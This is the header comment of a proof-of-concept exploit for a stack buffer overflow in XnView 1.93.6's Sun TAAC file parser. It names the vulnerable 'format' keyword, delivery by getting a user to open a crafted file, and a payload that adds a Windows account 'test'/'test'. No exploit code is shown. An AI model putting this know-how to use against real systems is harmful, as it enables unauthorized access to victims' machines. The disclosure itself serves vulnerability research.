/*
 XnView 1.93.6 for Windows .taac buffer overflow proof of concept.
 
The vulnerability is caused due to a boundary error when processing
the "format" keyword of Sun TAAC files. This can be exploited to
cause a stack-based buffer overflow by e.g. tricking a user into
viewing a specially crafted Sun TAAC file.

Vulnerability discoverd by Secunia research http://secunia.com/secunia_research/2008-24/advisory/

Exploit code by Shinnok  
http://www.rstcenter.com

This poc will create a "special" .taac file that when opened or viewed in XnView 1.93.6 for Windows 
will cause a buffer overflow and add an user "test" with password "test".
Tested on Windows XP sp2&sp3.
